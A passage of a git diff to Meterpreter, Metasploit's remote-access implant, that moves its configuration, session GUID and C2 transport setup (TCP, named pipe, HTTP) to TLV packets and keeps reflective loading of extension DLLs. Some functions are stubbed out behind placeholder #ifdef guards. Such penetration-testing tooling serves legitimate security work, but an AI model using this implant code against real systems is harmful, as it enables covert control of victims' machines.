TRUE; + configPacket->payload = config->config_tlv; + configPacket->payloadLength = ntohl(((TlvHeader*)(configPacket->payload))->length) + sizeof(TlvHeader); + + dprintf("Group TLV Packet Size: 0x%x (%u)", configPacket->payloadLength, configPacket->payloadLength); + + Tlv configTlv = { 0 }; + packet_get_tlv(configPacket, TLV_TYPE_CONFIG_BLOCK, &configTlv); + +#ifdef DEBUGTRACE + PWSTR logPath = packet_get_tlv_group_entry_value_wstring(configPacket, &configTlv, TLV_TYPE_DEBUG_LOG, NULL); + INIT_LOGGING(logPath); + free(logPath); +#endif // if hAppInstance is still == NULL it means that we havent been // reflectivly loaded so we must patch in the hAppInstance value @@ -25,14 +41,15 @@ DWORD Init(MetsrvConfig* metConfig) // In the case of metsrv payloads, the parameter passed to init is NOT a socket, it's actually // a pointer to the metserv configuration, so do a nasty cast and move on. - dprintf("[METSRV] Getting ready to init with config %p", metConfig); - DWORD result = server_setup(metConfig); + dprintf("[METSRV] Getting ready to init with config %p", config); + DWORD result = server_setup(config, configPacket, &configTlv); + UINT exitFunc = packet_get_tlv_group_entry_value_uint(configPacket, &configTlv, TLV_TYPE_EXITFUNC); - dprintf("[METSRV] Exiting with %08x", metConfig->session.exit_func); + dprintf("[METSRV] Exiting with %08x", exitFunc); // We also handle exit func directly in metsrv now because the value is added to the // configuration block and we manage to save bytes in the stager/header as well. - switch (metConfig->session.exit_func) + switch (exitFunc) { case EXITFUNC_SEH: SetUnhandledExceptionFilter(NULL); @@ -46,6 +63,9 @@ DWORD Init(MetsrvConfig* metConfig) default: break; } + // we don't want destruction to free the payload pointer. + configPacket->payload = NULL; + packet_destroy(configPacket); return result; } diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h index 7013b66d5..0b234d690 100644 --- a/c/meterpreter/source/metsrv/metsrv.h +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -54,7 +54,7 @@ VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize); BOOL is_null_guid(BYTE guid[sizeof(GUID)]); VOID rand_xor_key(BYTE buffer[4]); -DWORD server_setup(MetsrvConfig* config); +DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv); typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote); typedef DWORD (*PSRVDEINIT)(Remote *remote); typedef VOID (*PCMDADDED)(UINT command_id); diff --git a/c/meterpreter/source/metsrv/packet_encryption.c b/c/meterpreter/source/metsrv/packet_encryption.c index 10b1b21c8..8df966b4a 100644 --- a/c/meterpreter/source/metsrv/packet_encryption.c +++ b/c/meterpreter/source/metsrv/packet_encryption.c @@ -182,7 +182,7 @@ DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD buf rand_xor_key(packet->header.xor_key); // copy the session ID to the header as this will be used later to identify the packet's destination session - memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid)); + memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->session_guid, sizeof(remote->session_guid)); // Only encrypt if the context was set up correctly if (remote->enc_ctx != NULL && remote->enc_ctx->valid) diff --git a/c/meterpreter/source/metsrv/remote.c b/c/meterpreter/source/metsrv/remote.c index 33e698ea6..2b8ca5d8c 100644 --- a/c/meterpreter/source/metsrv/remote.c +++ b/c/meterpreter/source/metsrv/remote.c @@ -70,8 +70,6 @@ VOID remote_deallocate(Remote * remote) lock_destroy(remote->lock); } - free(remote->orig_config); - // Wipe our structure from memory memset(remote, 0, sizeof(Remote)); diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 1969494aa..1a2fb3a26 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -451,7 +451,7 @@ DWORD request_core_set_uuid(Remote* remote, Packet* packet) if (newUuid != NULL) { - memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE); + memcpy(remote->uuid, newUuid, UUID_SIZE); } if (response) @@ -473,7 +473,7 @@ DWORD request_core_get_session_guid(Remote* remote, Packet* packet) Packet* response = packet_create_response(packet); if (response) { - packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, &remote->orig_config->session.session_guid, sizeof(GUID)); + packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, remote->session_guid, sizeof(remote->session_guid)); packet_transmit_response(ERROR_SUCCESS, remote, response); } return ERROR_SUCCESS; @@ -493,7 +493,7 @@ DWORD request_core_set_session_guid(Remote* remote, Packet* packet) if (sessionGuid != NULL) { - memcpy(remote->orig_config->session.session_guid, sessionGuid, sizeof(GUID)); + memcpy(remote->session_guid, sessionGuid, sizeof(GUID)); } else { diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index db73ab4d3..48676e425 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -61,63 +61,66 @@ DWORD server_sessionid() } /*! - * @brief Load any stageless extensions that might be present in the current payload. + * @brief Load any stageless extensions that might be present in the given configuration. * @param remote Pointer to the remote instance. * @param fd The socket descriptor passed to metsrv during intialisation. * @return Pointer to the end of the configuration. */ -LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExtensions) +VOID load_stageless_extensions(Remote* remote, Packet* configPacket, Tlv* configTlv) { - while (stagelessExtensions->size > 0) + DWORD index = 0; + Tlv extensionTlv = { 0 }; + + // start by loading the extensions before doing any init scripts + while (packet_enum_group_tlv(configPacket, configTlv, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) { - dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); - HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); + DWORD dllSize = 0; + LPBYTE dll = packet_get_tlv_group_entry_value_raw(configPacket, &extensionTlv, TLV_TYPE_DATA, &dllSize); + + dprintf("[SERVER] Extension located at 0x%p: %u bytes", dll, dllSize); + HMODULE hLibrary = LoadLibraryR(dll, dllSize, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); - stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); + ++index; } dprintf("[SERVER] All stageless extensions loaded"); - // once we have reached the end, we may have extension initializers - LPBYTE initData = (LPBYTE)(&stagelessExtensions->size) + sizeof(stagelessExtensions->size); - - // Config blog is terminated by a -1 - while (*(UINT*)initData != 0xFFFFFFFF) + // then iterate again and initialise those that require it. + index = 0; + while (packet_enum_group_tlv(configPacket, configTlv, index, TLV_TYPE_EXTENSION, &extensionTlv) == ERROR_SUCCESS) { - UINT extensionId = *(UINT*)initData; - DWORD dataSize = *(DWORD*)(initData + sizeof(DWORD)); - UINT offset = sizeof(UINT) + sizeof(DWORD); - LPBYTE data = initData + offset; - dprintf("[STAGELESS] init data at %p, ID %u, size is %d", initData, extensionId, dataSize); - stagelessinit_extension(extensionId, data, dataSize); - initData = data + dataSize; - dprintf("[STAGELESS] init done, now pointing to %p", initData); - dprintf("[STAGELESS] %p contains %x", *(UINT*)initData); + DWORD initSize = 0; + PCHAR init = packet_get_tlv_group_entry_value_string(configPacket, &extensionTlv, TLV_TYPE_STRING, &initSize); + if (init != NULL) + { + UINT extId = packet_get_tlv_group_entry_value_uint(configPacket, &extensionTlv, TLV_TYPE_UINT); + dprintf("[STAGELESS] init data at %p, size %u, ID %u", init, initSize, extId); + stagelessinit_extension(extId, init, initSize); + } + ++index; } dprintf("[SERVER] All stageless extensions initialised"); - return initData + sizeof(UINT); } -static Transport* create_transport(Remote* remote, MetsrvTransportCommon* transportCommon, LPDWORD size) +static Transport* create_transport(Remote* remote, Packet* packet, Tlv* c2Tlv) { + PCHAR url = packet_get_tlv_group_entry_value_string(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); Transport* transport = NULL; - dprintf("[TRNS] Transport claims to have URL: %S", transportCommon->url); - dprintf("[TRNS] Transport claims to have comms: %d", transportCommon->comms_timeout); - dprintf("[TRNS] Transport claims to have retry total: %d", transportCommon->retry_total); - dprintf("[TRNS] Transport claims to have retry wait: %d", transportCommon->retry_wait); - if (wcsncmp(transportCommon->url, L"tcp", 3) == 0) + dprintf("[TRNS] Transport claims to have URL: %S", url); + + if (strncmp(url, "tcp", 3) == 0) { - transport = transport_create_tcp((MetsrvTransportTcp*)transportCommon, size); + transport = transport_create_tcp(packet, c2Tlv); } - else if (wcsncmp(transportCommon->url, L"pipe", 4) == 0) + else if (strncmp(url, "pipe", 4) == 0) { - transport = transport_create_named_pipe((MetsrvTransportNamedPipe*)transportCommon, size); + transport = transport_create_named_pipe(packet, c2Tlv); } else { - transport = transport_create_http((MetsrvTransportHttp*)transportCommon, size); + transport = transport_create_http(packet, c2Tlv); } if (transport == NULL) @@ -187,38 +190,23 @@ static void remove_transport(Remote* remote, Transport* oldTransport) oldTransport->transport_destroy(oldTransport); } -static BOOL create_transports(Remote* remote, MetsrvTransportCommon* transports, LPDWORD parsedSize) +static BOOL create_transports(Remote* remote, Packet* packet, Tlv* groupTlv, LPDWORD parsedSize) { - DWORD totalSize = 0; - MetsrvTransportCommon* current = transports; + DWORD index = 0; + Tlv c2Tlv = { 0 }; - // The first part of the transport is always the URL, if it's NULL, we are done. - while (current->url[0] != 0) + while (packet_enum_group_tlv(packet, groupTlv, index, TLV_TYPE_C2, &c2Tlv) == ERROR_SUCCESS) { - DWORD size; - if (create_transport(remote, current, &size) != NULL) - { - dprintf("[TRANS] transport created of size %u", size); - totalSize += size; - - // go to the next transport based on the size of the existing one. - current = (MetsrvTransportCommon*)((LPBYTE)current + size); - } - else - { - // This is not good - return FALSE; - } + create_transport(remote, packet, &c2Tlv); + ++index; } - // account for the last terminating NULL wchar - *parsedSize = totalSize + sizeof(wchar_t); - return TRUE; } static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LPDWORD size) { +#ifdef FDJSKL // This function is really only used for migration purposes. DWORD s = sizeof(MetsrvSession); MetsrvSession* sess = (MetsrvSession*)malloc(s); @@ -304,6 +292,7 @@ static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LP dprintf("[CONFIG] Total of %u bytes located at 0x%p", s, sess); *size = s; *config = (MetsrvConfig*)sess; +#endif } /*! @@ -311,7 +300,7 @@ static void config_create(Remote* remote, LPBYTE uuid, MetsrvConfig** config, LP * @param fd The original socket descriptor passed in from the stager, or a pointer to stageless extensions. * @return Meterpreter exit code (ignored by the caller). */ -DWORD server_setup(MetsrvConfig* config) +DWORD server_setup(MetsrvConfig* config, Packet* configPacket, Tlv* configTlv) { THREAD* serverThread = NULL; Remote* remote = NULL; @@ -319,21 +308,27 @@ DWORD server_setup(MetsrvConfig* config) char desktopName[256] = { 0 }; DWORD res = 0; - dprintf("[SERVER] Initializing from configuration: 0x%p", config); - dprintf("[SESSION] Comms handle: %u", config->session.comms_handle); - dprintf("[SESSION] Expiry: %u", config->session.expiry); + UINT sessionExpiry = packet_get_tlv_group_entry_value_uint(configPacket, configTlv, TLV_TYPE_SESSION_EXPIRY); + DWORD uuidSize = 0; + PBYTE uuid = packet_get_tlv_group_entry_value_raw(configPacket, configTlv, TLV_TYPE_UUID, &uuidSize); + PBYTE sessionGuid = packet_get_tlv_group_entry_value_raw(configPacket, configTlv, TLV_TYPE_SESSION_GUID, NULL); + + dprintf("[SESSION] Expiry: %u", sessionExpiry); dprintf("[SERVER] UUID: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->session.uuid[0], config->session.uuid[1], config->session.uuid[2], config->session.uuid[3], - config->session.uuid[4], config->session.uuid[5], config->session.uuid[6], config->session.uuid[7], - config->session.uuid[8], config->session.uuid[9], config->session.uuid[10], config->session.uuid[11], - config->session.uuid[12], config->session.uuid[13], config->session.uuid[14], config->session.uuid[15]); + uuid[0], uuid[1], uuid[2], uuid[3], + uuid[4], uuid[5], uuid[6], uuid[7], + uuid[8], uuid[9], uuid[10], uuid[11], + uuid[12], uuid[13], uuid[14], uuid[15]); dprintf("[SERVER] Session GUID: %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X", - config->session.session_guid[0], config->session.session_guid[1], config->session.session_guid[2], config->session.session_guid[3], - config->session.session_guid[4], config->session.session_guid[5], config->session.session_guid[6], config->session.session_guid[7], - config->session.session_guid[8], config->session.session_guid[9], config->session.session_guid[10], config->session.session_guid[11], - config->session.session_guid[12], config->session.session_guid[13], config->session.session_guid[14], config->session.session_guid[15]); + sessionGuid[0], sessionGuid[1], sessionGuid[2], sessionGuid[3], + sessionGuid[4], sessionGuid[5], sessionGuid[6], sessionGuid[7], + sessionGuid[8], sessionGuid[9], sessionGuid[10], sessionGuid[11], + sessionGuid[12], sessionGuid[13], sessionGuid[14], sessionGuid[15]); + + memcpy_s(remote->uuid, sizeof(remote->uuid), uuid, uuidSize); + memcpy_s(remote->session_guid, sizeof(remote->session_guid), sessionGuid, sizeof(remote->session_guid)); disable_thread_error_reporting(); @@ -354,7 +349,7 @@ DWORD server_setup(MetsrvConfig* config) break; } - remote->sess_expiry_time = config->session.expiry; + remote->sess_expiry_time = sessionExpiry; remote->sess_start_time = current_unix_timestamp(); if (remote->sess_expiry_time) { @@ -368,17 +363,17 @@ DWORD server_setup(MetsrvConfig* config) dprintf("[DISPATCH] Session going for %u seconds from %u to %u", remote->sess_expiry_time, remote->sess_start_time, remote->sess_expiry_end); DWORD transportSize = 0; - if (!create_transports(remote, config->transports, &transportSize)) + if (!create_transports(remote, configPacket, configTlv, &transportSize)) { // not good, bail out! SetLastError(ERROR_BAD_ARGUMENTS); break; } - dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle); + dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->comms_handle.handle); if (remote->transport->set_handle) { - remote->transport->set_handle(remote->transport, config->session.comms_handle.handle); + remote->transport->set_handle(remote->transport, config->comms_handle.handle); } // Set up the transport creation function pointer @@ -395,18 +390,7 @@ DWORD server_setup(MetsrvConfig* config) register_dispatch_routines(); // this has to be done after dispatch routine are registered - LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); - - dprintf("[SERVER] Copying configuration .."); - // the original config can actually be mapped as RX in cases such as when stageless payloads - // are baked directly into .NET assemblies. We need to make sure that this area of memory includes - // The writable flag as well otherwise we get access violations when we're interacting with the - // configuration block down the track. So instead of marking the original configuration as RWX (to cover - // all cases) we will instead just muck with a copy of it on the heap. - DWORD_PTR configSize = (DWORD_PTR)configEnd - (DWORD_PTR)config; - remote->orig_config = (MetsrvConfig*)malloc(configSize); - memcpy_s(remote->orig_config, configSize, config, configSize); - dprintf("[SERVER] Config copied.."); + load_stageless_extensions(remote, configPacket, configTlv); // Store our process token if (!OpenThreadToken(remote->server_thread, TOKEN_ALL_ACCESS, TRUE, &remote->server_token)) diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.c b/c/meterpreter/source/metsrv/server_transport_named_pipe.c index 3576f067f..d40e75ced 100644 --- a/c/meterpreter/source/metsrv/server_transport_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.c @@ -183,9 +183,9 @@ static DWORD packet_receive_named_pipe(Remote *remote, Packet **packet) #endif // if we don't have a GUID yet, we need to take the one given in the packet - if (is_null_guid(remote->orig_config->session.session_guid)) + if (is_null_guid(remote->session_guid)) { - memcpy(remote->orig_config->session.session_guid, header.session_guid, sizeof(remote->orig_config->session.session_guid)); + memcpy_s(remote->session_guid, sizeof(remote->session_guid), header.session_guid, sizeof(header.session_guid)); } payloadLength = ntohl(header.length) - sizeof(TlvHeader); @@ -638,8 +638,9 @@ static void transport_set_handle_named_pipe(Transport* transport, UINT_PTR handl * @param transport Transport data to create the configuration from. * @param config Pointer to the config block to write to. */ -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config) +void transport_write_named_pipe_config(Transport* transport, Packet* packet, Tlv* configTlv) { +#ifdef FDJKLS if (transport && config) { config->common.comms_timeout = transport->timeouts.comms; @@ -647,6 +648,7 @@ void transport_write_named_pipe_config(Transport* transport, MetsrvTransportName config->common.retry_wait = transport->timeouts.retry_wait; wcsncpy(config->common.url, transport->url, URL_SIZE); } +#endif } /*! @@ -676,42 +678,29 @@ static DWORD get_migrate_context_named_pipe(Transport* transport, DWORD targetPr return ERROR_SUCCESS; } -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_named_pipe(Transport* t) -{ - return sizeof(MetsrvTransportNamedPipe); -} - /*! * @brief Creates a new named pipe transport instance. * @param config The Named Pipe configuration block. * @param size Pointer to the size of the parsed config block. * @return Pointer to the newly configured/created Named Pipe transport instance. */ -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size) +Transport* transport_create_named_pipe(Packet* packet, Tlv* c2Tlv) { Transport* transport = (Transport*)calloc(1, sizeof(Transport)); NamedPipeTransportContext* ctx = (NamedPipeTransportContext*)calloc(1, sizeof(NamedPipeTransportContext)); - if (size) - { - *size = sizeof(MetsrvTransportNamedPipe); - } - // Lock used to synchronise writes ctx->write_lock = lock_create(); - dprintf("[TRANS NP] Creating pipe transport for url %S", config->common.url); + PWSTR url = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); + + dprintf("[TRANS NP] Creating pipe transport for url %S", url); transport->type = METERPRETER_TRANSPORT_PIPE; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); + transport->timeouts.comms = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_COMM_TIMEOUT); + transport->timeouts.retry_total = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_TOTAL); + transport->timeouts.retry_wait = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_WAIT); + transport->url = url; transport->packet_transmit = packet_transmit_named_pipe; transport->transport_init = configure_named_pipe_connection; transport->transport_destroy = transport_destroy_named_pipe; @@ -722,7 +711,6 @@ Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_migrate_context = get_migrate_context_named_pipe; - transport->get_config_size = transport_get_config_size_named_pipe; return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_named_pipe.h b/c/meterpreter/source/metsrv/server_transport_named_pipe.h index 704a72a58..e23051aad 100644 --- a/c/meterpreter/source/metsrv/server_transport_named_pipe.h +++ b/c/meterpreter/source/metsrv/server_transport_named_pipe.h @@ -1,7 +1,7 @@ #ifndef _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE #define _METERPRETER_METSRV_SERVER_SETUP_NAMED_PIPE -void transport_write_named_pipe_config(Transport* transport, MetsrvTransportNamedPipe* config); -Transport* transport_create_named_pipe(MetsrvTransportNamedPipe* config, LPDWORD size); +void transport_write_named_pipe_config(Transport* transport, Packet* packet, Tlv* configTlv); +Transport* transport_create_named_pipe(Packet* packet, Tlv* c2Tlv); #endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.c b/c/meterpreter/source/metsrv/server_transport_tcp.c index 0ee756b30..6386ab87a 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.c +++ b/c/meterpreter/source/metsrv/server_transport_tcp.c @@ -455,7 +455,7 @@ static DWORD packet_receive(Remote *remote, Packet **packet) dprintf("[TCP] Packet Session GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); #endif - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + if (is_null_guid(header.session_guid) || memcmp(remote->session_guid, header.session_guid, sizeof(header.session_guid)) == 0) { dprintf("[TCP] Session GUIDs match (or packet guid is null), decrypting packet"); SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); @@ -814,8 +814,9 @@ DWORD packet_transmit_tcp(Remote* remote, LPBYTE rawPacket, DWORD rawPacketLengt * @param transport Transport data to create the configuration from. * @return config Pointer to the config block to write to. */ -void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config) +void transport_write_tcp_config(Transport* transport, Packet* packet, Tlv* configTlv) { +#ifdef FDJKSLF if (transport && config) { config->common.comms_timeout = transport->timeouts.comms; @@ -823,6 +824,7 @@ void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config config->common.retry_wait = transport->timeouts.retry_wait; wcsncpy(config->common.url, transport->url, URL_SIZE); } +#endif } /*! @@ -856,42 +858,29 @@ static DWORD get_migrate_context_tcp(Transport* transport, DWORD targetProcessId return ERROR_SUCCESS; } -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_tcp(Transport* t) -{ - return sizeof(MetsrvTransportTcp); -} - /*! * @brief Creates a new TCP transport instance. * @param config The TCP configuration block. * @param size Pointer to the size of the parsed config block. * @return Pointer to the newly configured/created TCP transport instance. */ -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) +Transport* transport_create_tcp(Packet* packet, Tlv* c2Tlv) { Transport* transport = (Transport*)malloc(sizeof(Transport)); TcpTransportContext* ctx = (TcpTransportContext*)malloc(sizeof(TcpTransportContext)); - if (size) - { - *size = sizeof(MetsrvTransportTcp); - } + PWSTR url = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); - dprintf("[TRANS TCP] Creating tcp transport for url %S", config->common.url); + dprintf("[TRANS TCP] Creating tcp transport for url %S", url); memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(TcpTransportContext)); transport->type = METERPRETER_TRANSPORT_TCP; - transport->timeouts.comms = config->common.comms_timeout; - transport->timeouts.retry_total = config->common.retry_total; - transport->timeouts.retry_wait = config->common.retry_wait; - transport->url = _wcsdup(config->common.url); + transport->timeouts.comms = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_COMM_TIMEOUT); + transport->timeouts.retry_total = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_TOTAL); + transport->timeouts.retry_wait = packet_get_tlv_group_entry_value_uint(packet, c2Tlv, TLV_TYPE_C2_RETRY_WAIT); + transport->url = url; transport->packet_transmit = packet_transmit_tcp; transport->transport_init = configure_tcp_connection; transport->transport_destroy = transport_destroy_tcp; @@ -902,7 +891,6 @@ Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size) transport->ctx = ctx; transport->comms_last_packet = current_unix_timestamp(); transport->get_migrate_context = get_migrate_context_tcp; - transport->get_config_size = transport_get_config_size_tcp; return transport; } diff --git a/c/meterpreter/source/metsrv/server_transport_tcp.h b/c/meterpreter/source/metsrv/server_transport_tcp.h index d1671dfad..093c5d0f5 100644 --- a/c/meterpreter/source/metsrv/server_transport_tcp.h +++ b/c/meterpreter/source/metsrv/server_transport_tcp.h @@ -1,7 +1,7 @@ #ifndef _METERPRETER_METSRV_TRANSPORT_TCP #define _METERPRETER_METSRV_TRANSPORT_TCP -void transport_write_tcp_config(Transport* transport, MetsrvTransportTcp* config); -Transport* transport_create_tcp(MetsrvTransportTcp* config, LPDWORD size); +void transport_write_tcp_config(Transport* transport, Packet* packet, Tlv* configTlv); +Transport* transport_create_tcp(Packet* packet, Tlv* c2Tlv); #endif \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/server_transport_winhttp.c b/c/meterpreter/source/metsrv/server_transport_winhttp.c index 3e38377a3..bf195b4a2 100644 --- a/c/meterpreter/source/metsrv/server_transport_winhttp.c +++ b/c/meterpreter/source/metsrv/server_transport_winhttp.c @@ -483,7 +483,7 @@ static DWORD packet_receive_http(Remote *remote, Packet **packet) h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); #endif - if (is_null_guid(header.session_guid) || memcmp(remote->orig_config->session.session_guid, header.session_guid, sizeof(header.session_guid)) == 0) + if (is_null_guid(header.session_guid) || memcmp(remote->session_guid, header.session_guid, sizeof(header.session_guid)) == 0) { dprintf("[HTTP] Session GUIDs match (or packet guid is null), decrypting packet"); SetLastError(decrypt_packet(remote, packet, packetBuffer, packetSize)); @@ -847,8 +847,9 @@ static void transport_destroy_http(Transport* transport) } } -void transport_write_http_config(Transport* transport, MetsrvTransportHttp* config) +void transport_write_http_config(Transport* transport, Packet* packet, Tlv* configTlv) { +#ifdef FJDKLS HttpTransportContext* ctx = (HttpTransportContext*)transport->ctx; dprintf("[HTTP CONF] Writing timeouts"); @@ -897,28 +898,9 @@ void transport_write_http_config(Transport* transport, MetsrvTransportHttp* conf } dprintf("[HTTP CONF] Done."); +#endif } -/*! - * @brief Gets the size of the memory space required to store the configuration for this transport. - * @param t Pointer to the transport. - * @return Size, in bytes of the required memory block. - */ -static DWORD transport_get_config_size_http(Transport* t) -{ - DWORD size = sizeof(MetsrvTransportHttp); - - // Make sure we account for the custom headers, if there are any, which aren't - // of a predetermined size. - HttpTransportContext* ctx = (HttpTransportContext*)t->ctx; - if (ctx->custom_headers) - { - size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); - } - return size; -} - - /*! * @brief Create an HTTP(S) transport from the given settings. * @param config Pointer to the HTTP configuration block. @@ -926,66 +908,49 @@ static DWORD transport_get_config_size_http(Transport* t) * @param config Pointer to the HTTP configuration block. * @return Pointer to the newly configured/created HTTP(S) transport instance. */ -Transport* transport_create_http(MetsrvTransportHttp* config, LPDWORD size) +Transport* transport_create_http(Packet* packet, Tlv* c2Tlv) { Transport* transport = (Transport*)malloc(sizeof(Transport)); HttpTransportContext* ctx = (HttpTransportContext*)malloc(sizeof(HttpTransportContext)); - if (size) - { - *size = sizeof(MetsrvTransportHttp); - } + PWSTR url = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_URL, NULL); - dprintf("[TRANS HTTP] Creating http transport for url %S", config->common.url); + dprintf("[TRANS HTTP] Creating http transport for url %S", url); memset(transport, 0, sizeof(Transport)); memset(ctx, 0, sizeof(HttpTransportContext)); - dprintf("[TRANS HTTP] Given ua: %S", config->ua); - if (config->ua[0]) - { - ctx->ua = _wcsdup(config->ua); - } - dprintf("[TRANS HTTP] Given proxy host: %S", config->proxy.hostname); - if (config->proxy.hostname[0]) - { - ctx->proxy = _wcsdup(config->proxy.hostname); - } - dprintf("[TRANS HTTP] Given proxy user: %S", config->proxy.username); - if (config->proxy.username[0]) - { - ctx->proxy_user = _wcsdup(config->proxy.username); - } - dprintf("[TRANS HTTP] Given proxy pass: %S", config->proxy.password); - if (config->proxy.password[0]) - { - ctx->proxy_pass = _wcsdup(config->proxy.password); - } - ctx->ssl = wcsncmp(config->common.url, L"https", 5) == 0; + ctx->ua = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_UA, NULL); + dprintf("[TRANS HTTP] Given ua: %S", ctx->ua); - if (config->custom_headers[0]) - { - ctx->custom_headers = _wcsdup(config->custom_headers); - if (size) - { - *size += (DWORD)wcslen(ctx->custom_headers) * sizeof(ctx->custom_headers[0]); - } - } + ctx->proxy = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_HOST, NULL); + dprintf("[TRANS HTTP] Given proxy user: %S", ctx->proxy); + + ctx->proxy_user = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_USER, NULL); + dprintf("[TRANS HTTP] Given proxy pass: %S", ctx->proxy_user); + + ctx->proxy_pass = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_PROXY_PASS, NULL); + ctx->ssl = wcsncmp(url, L"https", 5) == 0; - dprintf("[SERVER] Received HTTPS Hash: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x", - config->ssl_cert_hash[0], config->ssl_cert_hash[1], config->ssl_cert_hash[2], config->ssl_cert_hash[3], - config->ssl_cert_hash[4], config->ssl_cert_hash[5], config->ssl_cert_hash[6], config->ssl_cert_hash[7], - config->ssl_cert_hash[8], config->ssl_cert_hash[9], config->ssl_cert_hash[10], config->ssl_cert_hash[11], - config->ssl_cert_hash[12], config->ssl_cert_hash[13], config->ssl_cert_hash[14], config->ssl_cert_hash[15], - config->ssl_cert_hash[16], config->ssl_cert_hash[17], config->ssl_cert_hash[18], config->ssl_cert_hash[19]); + ctx->custom_headers = packet_get_tlv_group_entry_value_wstring(packet, c2Tlv, TLV_TYPE_C2_HEADER, NULL); // only apply the cert hash if we're given one and it's not the global value - SAFE_FREE(ctx->cert_hash); - unsigned char emptyHash[CERT_HASH_SIZE] = { 0 }; - if (memcmp(config->ssl_cert_hash, emptyHash, CERT_HASH_SIZE)) - { - ctx->cert_hash = (PBYTE)malloc(sizeof(BYTE) * 20); 